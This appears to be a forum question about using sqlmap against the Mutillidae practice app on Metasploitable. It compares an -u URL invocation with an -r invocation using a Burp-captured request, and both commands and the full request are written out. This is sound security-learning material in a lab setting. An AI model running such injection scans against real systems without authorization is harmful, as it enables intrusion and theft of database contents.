NOTE: Attempted on METASPLOITABLE's Mutillidae
I attempted to use SQLmap to inject into mutilidae's "User info" page.
I had already attempted manual injection, and the vulnerable parameters are USERNAME and PASSWORD.
while I used the -u command on SQLmap only parameter PAGE was considered as a GET parameter by SQLmap which in turn (as expected) led to it saying the url was not injectable.
Later upon usage of Burp proxy and running SQLmap via -r request command, everything works fine for the exact same URL.
I am confused as to how these two commands work, and what was supplied in -r command that made it possible to successfully inject which was not in the -u URL I supplied.
When should I use which command?
Using -u command to check for vulnerability
sqlmap -u http://xxx.xxx.2.9/mutillidae/index.php?page=user-info.php&username=a&password=b&user-info-php-submit-button=View+Account+Details
Using -r command
sqlmap -r /root/Desktop/user.request
user.request contained the following:
GET /mutillidae/index.php?page=user-info.php&username=a&password=b&user-info-php-submit-button=View+Account+Details HTTP/1.1
Host: xxx.xxx.2.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.2.9/mutillidae/index.php?page=user-info.php&username=a&password=b&user-info-php-submit-button=View+Account+Details
Cookie: PHPSESSID=cb55bd05e9618af173600ba757e996c1
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 31 May 2018 06:13:15 GMT